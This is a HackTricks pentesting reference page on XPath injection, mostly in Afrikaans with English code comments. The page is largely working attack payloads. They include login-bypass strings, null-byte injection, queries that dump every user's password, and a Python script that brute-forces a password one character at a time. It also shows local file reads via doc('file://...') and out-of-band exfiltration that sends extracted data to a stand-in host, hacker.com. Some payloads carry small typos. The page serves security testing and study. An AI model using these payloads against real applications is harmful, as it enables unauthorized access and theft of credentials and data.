hacktricks/pentesting-web/xpath-injection.md

# XPATH injection

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## Basic Syntax

'n Aanvalstegniek bekend as XPath Injection word gebruik om voordeel te trek uit toepassings wat XPath (XML Path Language) navrae vorm gebaseer op gebruikersinvoer om XML-dokumente te navraag of te navigeer.

### Nodes Described

Uitdrukkings word gebruik om verskillende nodes in 'n XML-dokument te kies. Hierdie uitdrukkings en hul beskrywings word hieronder saamgevat:

* **nodename**: Alle nodes met die naam "nodename" word gekies.
* **/**: Keuse word gemaak vanaf die wortel node.
* **//**: Nodes wat ooreenstem met die keuse vanaf die huidige node word gekies, ongeag hul ligging in die dokument.
* **.**: Die huidige node word gekies.
* **..**: Die ouer van die huidige node word gekies.
* **@**: Attribuut word gekies.

### XPath Examples

Voorbeelde van paduitdrukkings en hul resultate sluit in:

* **bookstore**: Alle nodes met die naam "bookstore" word gekies.
* **/bookstore**: Die wortelelement bookstore word gekies. Dit word opgemerk dat 'n absolute pad na 'n element verteenwoordig word deur 'n pad wat met 'n skuinsstreep (/) begin.
* **bookstore/book**: Alle boek elemente wat kinders van bookstore is, word gekies.
* **//book**: Alle boek elemente in die dokument word gekies, ongeag hul ligging.
* **bookstore//book**: Alle boek elemente wat afstammelinge van die bookstore element is, word gekies, maak nie saak hul posisie onder die bookstore element nie.
* **//@lang**: Alle attribuut met die naam lang word gekies.

### Utilization of Predicates

Predikate word gebruik om keuses te verfyn:

* **/bookstore/book\[1]**: Die eerste boek element kind van die bookstore element word gekies. 'n Oplossing vir IE weergawes 5 tot 9, wat die eerste node as \[0] indekseer, is om die SelectionLanguage na XPath deur JavaScript in te stel.
* **/bookstore/book\[last()]**: Die laaste boek element kind van die bookstore element word gekies.
* **/bookstore/book\[last()-1]**: Die voorlaaste boek element kind van die bookstore element word gekies.
* **/bookstore/book\[position()<3]**: Die eerste twee boek elemente kinders van die bookstore element word gekies.
* **//title\[@lang]**: Alle titel elemente met 'n lang attribuut word gekies.
* **//title\[@lang='en']**: Alle titel elemente met 'n "lang" attribuut waarde van "en" word gekies.
* **/bookstore/book\[price>35.00]**: Alle boek elemente van die bookstore met 'n prys groter as 35.00 word gekies.
* **/bookstore/book\[price>35.00]/title**: Alle titel elemente van die boek elemente van die bookstore met 'n prys groter as 35.00 word gekies.

### Handling of Unknown Nodes

Wildcard karakters word gebruik om onbekende nodes te pas:

* **\***: Pas enige element node.
* **@**\*: Pas enige attribuut node.
* **node()**: Pas enige node van enige soort.

Verder voorbeelde sluit in:

* **/bookstore/\***: Kies alle die kind element nodes van die bookstore element.
* **//\***: Kies alle elemente in die dokument.
* **//title\[@\*]**: Kies alle titel elemente met ten minste een attribuut van enige soort.

## Example
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
### Toegang tot die inligting
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### Identifiseer & steel die skema
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## Outentiekeer Omseiling

### **Voorbeeld van navrae:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **OF omseiling in gebruiker en wagwoord (dieselfde waarde in albei)**
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field
```
### **Misbruik van null-inspuiting**
```
Username: ' or 1]%00
```
### **Dubbele OF in gebruikersnaam of in wagwoord** (is geldig met slegs 1 kwesbare veld)

BELANGRIJK: Let daarop dat die **"en" die eerste operasie is wat gedoen word**.
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## String extraction

Die uitvoer bevat stringe en die gebruiker kan die waardes manipuleer om te soek:
```
/user/username[contains(., '+VALUE+')]
```

```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## Blind Explotation

### **Kry die lengte van 'n waarde en ekstraheer dit deur vergelykings:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Python Voorbeeld**
```python
import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### Lees lêer
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## OOB Exploitatie
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### Outomatiese hulpmiddel

* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)

## Verwysings

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)

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